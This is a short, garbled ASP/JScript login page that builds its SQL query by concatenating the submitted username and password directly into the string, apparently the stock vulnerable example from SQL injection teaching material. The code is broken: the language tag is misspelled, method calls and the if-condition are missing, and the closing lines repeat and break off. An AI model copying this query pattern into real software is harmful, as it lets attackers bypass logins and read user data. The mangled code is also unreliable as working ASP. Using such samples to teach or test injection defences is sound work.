<%@LANGUAGE = Jscripq %>
<%
function trace( str ) {
if( ("debug") == "true" )
( str );
}
function Login( cn ) {
var username;
var password;
username = ("username");
password = ("password");
var rso = Object("set");
var sql = "select * from users where username = '" + username + "' and password = '"
+ password + "'"; trace( "query: " + sql );
( sql, cn );
if () {
();
%>
<% return; }
else {
Session("username") = "" + rso("username");
%>
ACCESS GRANTED
Welcome, <% (rso("Username"));
( "
Welcome, <% (rso("Username"));
( "